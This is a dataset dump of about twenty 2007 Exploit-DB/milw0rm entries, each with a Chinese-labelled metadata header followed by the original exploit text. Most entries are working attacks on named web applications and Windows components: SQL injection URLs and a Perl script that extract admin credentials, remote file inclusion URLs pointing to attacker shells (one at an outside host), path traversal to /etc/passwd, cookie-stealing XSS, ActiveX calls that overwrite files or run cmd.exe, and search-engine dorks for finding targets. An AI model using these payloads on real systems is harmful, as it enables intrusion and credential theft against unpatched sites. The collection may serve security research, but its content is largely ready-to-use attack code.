QLWD/code_shield huggingface dataset:
标题: WWWISIS 7.1 - 'IsisScript' Local File Disclosure / Cross-Site Scripting EDB-ID: 4529 CVE: 2007-5484 2007-5455 类型: WEBAPPS 平台: CGI 发布日期: 2007-10-13 漏洞利用脚本: # WWWISIS (Search) Multiple Vulnerabilities
# Download:
# http://bvsmodelo.bvsalud.org/php/level.php?lang=en&component=31&item=2
# Bug found by JosS
# Contact: sys-project[at]hotmail.com
# Spanish Hackers Team
# www.spanish-hackers.com
# d0rk: powered by WWWISIS
#Stop lammer


# Local File Disclosure Vulnerability:

http://server/cgi-bin/wxis.exe/iah/?IsisScript=[file]
http://server/cgi-bin/wxis.exe/iah/?IsisScript=../../../../../../../../../etc/passwd


# Exploit In (XSS):

http://server/cgi-bin/wxis.exe/iah/?IsisScript=iah/iah.xis&base=article%5Edlibrary&fmt=iso.pft&lang=i
http://server/cgi-bin/wxis.exe/iah/?IsisScript=iah/iah.xis&base=article%5Edlibrary&fmt=iso.pft&lang=e
....

[ i,e ... ] it is the language of script

# Cross Siting Scripting:

<script>alert(document.cookie)</script>


//---------------------------------------\\

Greetz To: All Hackers
JosS!

# milw0rm.com [2007-10-13] URL: https://www.exploit-db.com/exploits/4529
标题: KwsPHP 1.0 mg2 Module - SQL Injection EDB-ID: 4528 CVE: 2007-5485 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-13 漏洞利用脚本: --------------------

KwsPHP 1.0 mg2 Module Remote SQL Injection Exploit

--------------------

Found : xoron

--------------------

Exploit:

Name:
index.php?mod=mg2&album=-1/**/union/**/select/**/0,1,pseudo,3,4,5/**/from/**/users/**/where/**/id=1/*

Pass:
index.php?mod=mg2&album=-1/**/union/**/select/**/0,1,pass,3,4,5/**/from/**/users/**/where/**/id=1/*

--------------------

Bundan sonra hep tek, hep yek xoron..!

--------------------

# milw0rm.com [2007-10-13] URL: https://www.exploit-db.com/exploits/4528
标题: Softbiz Recipes Portal Script - SQL Injection EDB-ID: 4527 CVE: 2007-5449 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-13 漏洞利用脚本: ################################IN THE NAME OF GOD###################################
####                    Recipes Portal Script SQL INJECTION                      ####
####                              BY IRCRASH                                     ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (Dr.Crash)                                                        #
#Script Download : http://www.softbizscripts.com/                                   #
#DORK: "Powered by SoftbizScripts" inurl:"searchresult.php?sbcat_id="               #
#                                                                                   #
#                                                                                   #
#                                                                                   #
#Injection Adress : http://Site.com/searchresult.php?sbcat_id=[sql code]            #
#SQL COD : 999999%20union/**/select/**/0,sbadmin_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,sbadmin_pwd,17,18,19,20,21,22/**/from/**/sbrecipe_admin/*
#                                                                                   #
#Our site : Ircrash.com                                                             #
#                                                                                   #
#                                                                                   #
#                                 TNX : GOD                                         #
#####################################################################################

# milw0rm.com [2007-10-13] URL: https://www.exploit-db.com/exploits/4527
标题: Joomla! Component Flash Uploader 2.5.1 - Remote File Inclusion EDB-ID: 4521 CVE: 2007-5457 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-11 漏洞利用脚本: --------------------------------------------
=                                          =
=            Mdx  (c) 2007                 =
=                                          =
--------------------------------------------
=                                          =
=Joomla com_joomla_flash_uploader Remote File Include  2.5.1,2.5.2  
=                                          =
============================================
=
= Download:
=
= http://download.joomlaportal.ch/content/view/1060/
=
============================================
=
= Exploit:
= administrator/components/com_joomla_flash_uploader/install.joomla_flash_uploader.php?mosConfig_absolute_path=shell?
= administrator/components/com_joomla_flash_uploader/uninstall.joomla_flash_uploader.php?mosConfig_absolute_path=shell?
============================================
=                                          =
=TÃ¼m Ãslam Alemininin BayramÃ½ Mubarek olsun
=                                          =
============================================ 

 Thanks : Xoron,Deltaforce,Nizam-Ã¼l MÃ¼lk, Prime Suspect,CyberEx,mith,n0th!ng,CwPeker,Cyber_cobra,CyberWar,Musty
@zr@il-,DaRKToLe,ultrAslan_CW,quantumhalil,schevko ,nirvana_jr,mertcesur,reddevil19,hocam,muhammed4554,WarriorHacker
cepuzmani_53,kalaba,Dr.X 

---------------------------------------

# milw0rm.com [2007-10-11] URL: https://www.exploit-db.com/exploits/4521
标题: Joomla! Component com_colorlab 1.0 - Remote File Inclusion EDB-ID: 4524 CVE: 2007-5451 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-12 漏洞利用脚本: --------------------

Joomla com_colorlab Remote File Include

--------------------

Found : xoron

--------------------

Download:
http://download.joomlaportal.ch/content/view/474/

--------------------

Wrong Code:
include( "$mosConfig_live_site/components/com_color/about.html" );

--------------------

Exploit:
/administrator/components/com_color/admin.color.php?mosConfig_live_site=shell?

--------------------

How to Fix:
1-open admin.colo.php
2-write this codes before wrong codes

defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );

3-save and exit

--------------------

Thanx: mdx :)

--------------------

# milw0rm.com [2007-10-12] URL: https://www.exploit-db.com/exploits/4524
标题: Pindorama 0.1 - 'client.php' Remote File Inclusion EDB-ID: 4519 CVE: 2007-5387 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-11 漏洞利用脚本: \\\|///
                     \\  - -  //      Xmors Underground Group
                      (  @ @ )
               
               ----oOOo--(_)-oOOo--------------------------------------------------
               Portal   :  Pindorama 0.1
               Download :  http://downloads.sourceforge.net/pindorama/pindorama-0.1.zip
        Author   :  S.W.A.T.
        HomePage :  wWw.XmorS.CoM
        Type     :  Remote File Inclusion
               Y! ID    :  Svvateam
               E-Mail   :  Svvateam@yahoo.com / S.W.4.T@hackermail.com
               Dork     :   :( 
               
               ----ooooO-----Ooooo--------------------------------------------------
                   (   )     (   )
                    \ (       ) /
                     \_)     (_/



+---------------------------------------------------------------------------------------------+

Vuln Code :

require_once($c["components"]."xmlrpc/common.php");

+---------------------------------------------------------------------------------------------+
+---------------------------------------------------------------------------------------------+

Exploit :

http://[TARGET]/[PATH]/active/components/xmlrpc/client.php?c[components]=[-Sh3ll-]


+---------------------------------------------------------------------------------------------+

# milw0rm.com [2007-10-11] URL: https://www.exploit-db.com/exploits/4519
标题: WebDesktop 0.1 - Remote File Inclusion EDB-ID: 4518 CVE: 2007-5388 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-11 漏洞利用脚本: \\\|///
                    \\  - -  //      Xmors Underground Group
                     (  @ @ )
              ----oOOo--(_)-oOOo--------------------------------------------------
              Portal   :  WebDesktop 0.1
              Download :  http://downloads.sourceforge.net/pns-webdesktop/webDesktop-0.1-linux.tar.gz
       Author   :  S.W.A.T.
       HomePage :  wWw.XmorS.CoM
       Type     :  Remote File Inclusion
              Y! ID    :  Svvateam
              E-Mail   :  Svvateam@yahoo.com / S.W.4.T@hackermail.com
              Dork     :   :( 
              ----ooooO-----Ooooo--------------------------------------------------
                  (   )     (   )
                   \ (       ) /
                    \_)     (_/



+---------------------------------------------------------------------------------------------+

Vuln Code :

include($wsk . ".wsk/" . $wsk . ".php");

&&&&&&&&

include($app . ".app/" . $frm . ".frm/" . $frm . ".php");

+---------------------------------------------------------------------------------------------+
+---------------------------------------------------------------------------------------------+

Exploit :

http://[TARGET]/[PATH]/apps/apps.php?app=[-Sh3ll-]
http://[TARGET]/[PATH]/wsk/wsk.php?wsk=[-Sh3ll-]


+---------------------------------------------------------------------------------------------+

# milw0rm.com [2007-10-11] URL: https://www.exploit-db.com/exploits/4518
标题: Apple iTouch/iPhone 1.1.1 - '.tif' Remote Privilege Escalation 'Jailbreak' EDB-ID: 4522 CVE: 2007-5450 类型: REMOTE 平台: IOS 发布日期: 2007-10-11 漏洞利用脚本: <!--
The iPhone / iTouch tif exploit is now officially released!
source: http://www.toc2rta.com/

So its offical we have released the tiff exploit code. 
You can navigate in safari to http://jailbreak.toc2rta.com 
on your Itouch or Iphone 1.1.1. It will crash your Safari 
but then you will be able to browse the file system with 
full read/write access. This is only for people who understand 
what they are doing. You will need IPHUC and some knowledge of 
how to put/get files.

TUTORIAL FOR WINDOWS http://www.ipodtouchfans.com/forums/showthread.php?t=1570

Check back later for a full breakdown of how the 
tiff works and what the future holds for Toc2rta and the 
Itouch & Iphone.

Exploit by Niacin and Dre.

A special thanks to Pumpkin,dinopio,davidc,natetrue,Smileydude,neimod 
,Nervegas,erica,roxfan,phire and the rest of the dev team for all 
their work that helped make this happen. You can visit the dev team's 
site here : http://iphone.fiveforty.net/wiki/index.php?title=Main_Page

EDB Note: Old filename: 10112007-iphone.tif
-->

<html>
<img src="https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/4522.tif">
</html>

# milw0rm.com [2007-10-11] URL: https://www.exploit-db.com/exploits/4522
标题: PHP 5.2.4 ionCube - 'ioncube_read_file' Safe Mode / disable_functions Bypass EDB-ID: 4517 CVE: 2007-5447 类型: LOCAL 平台: WINDOWS 发布日期: 2007-10-11 漏洞利用脚本: <?php
//PHP 5.2.4 ionCube extension safe_mode and disable_functions protections bypass

//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org

//Tested on xp Pro sp2 full patched, worked both from the cli and on apache

//Technical details:
//ionCube version: 6.5
//extension: ioncube_loader_win_5.2.dll (other may also be vulnerable)
//url: www.ioncube.com

//php.ini settings:
//safe_mode = On
//disable_functions = ioncube_read_file, readfile

//Description:
//This is useful to obtain juicy informations but also to retrieve source
//code of php pages, password files, etc... you just need to change file path.
//Anyway, don't worry, nobody will read your obfuscated code :)

//greetz to: BlackLight for help me to understand better PHP

//P.S.
//This extension contains even an interesting ioncube_write_file function...

if (!extension_loaded("ionCube Loader")) die("ionCube Loader extension required!");

$path = str_repeat("..\\", 20);

$MyBoot_readfile = readfile($path."windows\\system.ini"); #just to be sure that I set correctely disable_function :)

$MyBoot_ioncube = ioncube_read_file($path."boot.ini");

echo $MyBoot_readfile;

echo "<br><br>ionCube output:<br><br>";

echo $MyBoot_ioncube;
?>

# milw0rm.com [2007-10-11] URL: https://www.exploit-db.com/exploits/4517
标题: PBEmail 7 - ActiveX Edition Insecure Method EDB-ID: 4526 CVE: 2007-5446 类型: REMOTE 平台: WINDOWS 发布日期: 2007-10-12 漏洞利用脚本: <pre>
<b>Found by</b>: Katatafish (karatatata{at}hush{dot}com)
<b>software</b>:PBEmail 7 ActiveX Edition
<b>Vendor:</b> http://www.perfectionbytes.com
<b>vulnerability</b>: Insecure method
SaveSenderToXml(XmlFilePath: BSTR); stdcall; in PBEmail7Ax.dll
<b>Tested on Internet explorer 7 with Windows XP SP 2.</b>
<b>Thanks:</b> str0ke

</pre>

<object classid="clsid:30C0FDCB-53BE-4DB3-869D-32BF2DAD0DEC" 
id="kat"></object> 
<script language="vbscript">
  kat.SaveSenderToXml "C:\WINDOWS\system.ini"
  MyMsg = MsgBox ("Done! Your C:\WINDOWS\system.ini file should now 
be overwriten.")
</script>

# milw0rm.com [2007-10-12] URL: https://www.exploit-db.com/exploits/4526
标题: Drupal 5.2 - PHP Zend Hash ation Vector EDB-ID: 4510 CVE: 2007-5416 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-10 漏洞利用脚本: Drupal <= 5.2 PHP Zend Hash Vulnerability Exploitation Vector

Example: http://www.example.com/drupal/?_menu[callbacks][1][callback]=drupal_eval&_menu[items][][type]=-1&-312030023=1&q=1/<?phpinfo();

# milw0rm.com [2007-10-10] URL: https://www.exploit-db.com/exploits/4510
标题: TikiWiki 1.9.8 - Remote PHP Injection EDB-ID: 4509 CVE: 2007-5423 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-10 漏洞利用脚本: TikiWiki 1.9.8 Remote PHP Injection Vulnerability

Example: http:/server/tikiwiki/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.phpinfo()&t=png&title=

# milw0rm.com [2007-10-10] URL: https://www.exploit-db.com/exploits/4509
标题: nuseo PHP enterprise 1.6 - Remote File Inclusion EDB-ID: 4512 CVE: 2007-5409 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-10 漏洞利用脚本: Vulnerability Type: Remote File Inclusion
Vulnerable file: /NuSEO PHP Enterprise.v1.6 Nulled by DGT/NuSEO.PHP.Enterprise.v1.6.PHP.NULL-DGT/nuseo/admin/nuseo_admin_d.php
Exploit URL: http://localhost/path/nuseo/admin/nuseo_admin_d.php?nuseo_dir=http://localhost/shell.txt?
Method: get
Register_globals: On
Vulnerable variable: nuseo_dir
Line number: 268
Lines:

----------------------------------------------

require_once( $nuseo_dir . '/nuseo' . '_d.php' );
//nuseo_require_once( $nuseo_config['dir'] . '/admin/nuseo_admin_config_file' );

----------------------------------------------

GrEeTs To sHaDoW sEcUrItY TeAm & str0ke

FoUnD By BiNgZa

DoRk'SEO by NuSEO.PHP'

shadowcrew@hotmail.co.uk

shadow.php0h.com

# milw0rm.com [2007-10-10] URL: https://www.exploit-db.com/exploits/4512
标题: LiveAlbum 0.9.0 - 'common.php' Remote File Inclusion EDB-ID: 4503 CVE: 2007-5315 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-08 漏洞利用脚本: \\\|///
                    \\  - -  //      Xmors Underground Group
                     (  @ @ )
              ----oOOo--(_)-oOOo--------------------------------------------------
              Portal   :  LiveAlbum 0.9.0
              Download :  http://downloads.sourceforge.net/livealbum/livealbum-0.9.1.tar.bz2
       Author   :  S.W.A.T.
       HomePage :  wWw.XmorS.CoM
       Type     :  Remote File Inclusion
              ----ooooO-----Ooooo--------------------------------------------------
                  (   )     (   )
                   \ (       ) /
                    \_)     (_/



+---------------------------------------------------------------------------------------------+

Vuln :

http://[TARGET]/[PATH]/common.php?livealbum_dir=http://xmors.by.ry/r57.php?


+---------------------------------------------------------------------------------------------+

# milw0rm.com [2007-10-08] URL: https://www.exploit-db.com/exploits/4503
标题: cpDynaLinks 1.02 - 'category.php' SQL Injection EDB-ID: 4511 CVE: 2007-5408 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-10 漏洞利用脚本: #!/usr/bin/perl

# cpDynaLinks 1.02 Remote Sql Inyection exploit
# download:
# http://www.cplinks.com/download/cpdynalinks/cpdynalinks_version_1_02_full.zip
# bug found by s0cratex
# exploit written by ka0x
# D.O.M TEAM 2007
# d0rk: Powered by cpDynaLinks
# need magic_quotes_gpc off

# contact: <ka0x01[at]gmail.com> <s0cratex[at]nasa.gov>

# ka0x@domlabs:~# perl cpdynalinks.pl http://127.0.0.1/
#
# [+] connecting in http://127.0.0.1/...
# [!] user: admin  [!] pass: c9cb9115e90580e14a0407ed1fcf8039

use strict;
use LWP::UserAgent;

my $host = $ARGV[0];

 if(!$ARGV[0]) {
    print "\n[x] cpDynaLinks 1.02 Remote Sql Inyection exploit\n";
    print "[x] written by ka0x - ka0x01[at]gmail.com\n";
    print "[x] usage: perl $0 [host]\n";
    print "[x] example: http://host.com/cpDynaLinks\n";
    exit(1);
 }
 
    print "\n[+] connecting in $host...\n";
    my $cnx = LWP::UserAgent->new() or die;
    my $go=$cnx->get($host."/category.php?category=-1'/**/union/**/select/**/1,2,3,concat(0x5f5f5f5f,0x5b215d20757365723a20,admin_username,0x20205b215d20706173733a20,admin_password,0x5f5f5f5f),5,6,7,8,9,9,9,9/**/from/**/mnl_admin/*");
    if ($go->content =~ m/____(.*?)____/ms) {
        print "$1\n";
    } else {
        print "\n[-] exploit failed\n";
    }

# milw0rm.com [2007-10-10] URL: https://www.exploit-db.com/exploits/4511
标题: Joomla! Component mp3 allopass 1.0 - Remote File Inclusion EDB-ID: 4507 CVE: 2007-5412 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-10 漏洞利用脚本: # com_mp3_allopass joomla component Remote File Include Vulnerability

   Component       : com_mp3_allopass
   Download file   : http://www.joomlaratings.com
   Dicovered by    : NoGe
   Contact         : pace.noge@hotmail.com

==================================================================================================================================

# Vulnerable file

   /components/com_mp3_allopass/allopass.php

   line 3 require_once("{$mosConfig_absolute_path}/components/com_mp3_allopass/allopass-conf.php");

   /components/com_mp3_allopass/allopass-error.php

   line 2 require_once("{$mosConfig_absolute_path}/components/com_mp3_allopass/allopass-conf.php");

# Exploit

   http://localhost/path/components/com_mp3_allopass/allopass.php?mosConfig_live_site=[evilcode]
   http://localhost/path/components/com_mp3_allopass/allopass-error.php?mosConfig_live_site=[evilcode]

# google dork

   inurl:com_mp3_allopass

==================================================================================================================================

# Greetz

   all member #papuahacker #nyubicrew #baliemhackerlink
   skulmatic olibekas ulga Cungkee nyubi k1tk4t newbie str0ke
   yooogy H312Y Vaksin13 Oon_Boy Paman mousekill }^-^{ haliq
   http://kapukvalley.net member

================================================================================================================================== 

# milw0rm.com [2007-10-10] URL: https://www.exploit-db.com/exploits/4507
标题: Microsoft Visual FoxPro 6.0 - 'FPOLE.OCX' Arbitrary Command Execution EDB-ID: 4506 CVE: 2007-5322 类型: REMOTE 平台: WINDOWS 发布日期: 2007-10-09 漏洞利用脚本: <pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------
 <b>Microsoft Visual FoxPro 6.0 FPOLE.OCX Arbitrary Command Execution</b>
 url: http://www.microsoft.com

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 <b><font color='red'>This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.</font></b>

 <b>Technical Details
 File: FPOLE.OCX
 Version: 6.0.8450.0
 MD5: E9A1D8CFE6C791BA76B7343FA39752FB
 
 Marked as:
 RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller</b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 
 When I released this <a href='http://www.milw0rm.com/exploits/4369'>http://www.milw0rm.com/exploits/4369</a> I never thought
 it was possible to use the "FoxDoCmd()" method to run applications passed
 as argument but...
-----------------------------------------------------------------------------

<object classid='clsid:EF28418F-FFB2-11D0-861A-00A0C903A97F' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
  Sub tryMe
   test.FoxDoCmd "RUN cmd.exe /c notepad.exe", "Something"
  End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-10-09] URL: https://www.exploit-db.com/exploits/4506
标题: xKiosk 3.0.1i - 'xkurl.php?PEARPATH' Remote File Inclusion EDB-ID: 4502 CVE: 2007-5314 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-08 漏洞利用脚本: xKiosk WEB <= (PEARPATH) Remote File Include Vulnerability

Script : xKiosk WEB

Version : 3.0.1i

Download : http://xkiosk.net/xkiosk.3.0.1j.web.zip

AUTHOR : BorN To K!LL

Vuln Code :

include($PEARPATH.'Client.php');

3xpl0!T :

[p4th]/system/funcs/xkurl.php?PEARPATH=[-SHell-]

Greetings 2 :

str0ke - Dr.2 - AsbMay's Group - GoLd_M - KuWaiT SeCuriTy ..

BorN To K!LL <> GoLd_M = 4ever ... =P

# milw0rm.com [2007-10-08] URL: https://www.exploit-db.com/exploits/4502
标题: Softbiz Jobs & Recruitment - SQL Injection EDB-ID: 4504 CVE: 2007-5316 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-08 漏洞利用脚本: #####################################################################################
####              Softbiz Jobs & Recruitment Script SQL INJECTION                ####
####                              BY IRCRASH                                     ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (Dr.Crash)                                                        #
#Script Download : http://www.softbizscripts.com/                                   #
#DORK: "Powered by SoftbizScripts" "ALL JOBS"                                       #
#                                                                                   #
#                                                                                   #
#                                                                                   #
#Injection Adress : http://site.com/browsecats.php?cid=[sql cod]                    #
#Sql code For see user name : 999999%20union/**/select/**/0,sb_admin_name,2,3/**/from/**/sbjbs_admin/*
#Sql code For see Password : 999999%20union/**/select/**/0,sb_pwd,2,3/**/from/**/sbjbs_admin/*
#                                                                                   #
#Admin panel for login : http://site.com/admin/index.php                            #
#                                                                                   #
#Our site : Ircrash.com                                                             #
#                                                                                   #
#                                                                                   #
#                                 TNX : GOD                                         #
#####################################################################################

# milw0rm.com [2007-10-08] URL: https://www.exploit-db.com/exploits/4504
标题: TorrentTrader Classic 1.07 - Multiple Vulnerabilities EDB-ID: 4500 CVE: 2007-5312 2007-5311 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-08 漏洞利用脚本: TorrentTrader Classic Mutiple Remote vulnerabilities
Discovered By : HACKERS PAL
Copy rights : HACKERS PAL
Website : http://www.soqor.net
Email Address : security@soqor.net

Tested on TorrentTrader Classic v1.07
local file inclusion
backend/admin-functions.php?ss_uri=dd
Xss
pjirc/css.php?color=<script>alert(document.cookie);</script>
browse.php?cat=<script>alert(document.cookie);</script>
# WwW.SoQoR.NeT

# milw0rm.com [2007-10-08] URL: https://www.exploit-db.com/exploits/4500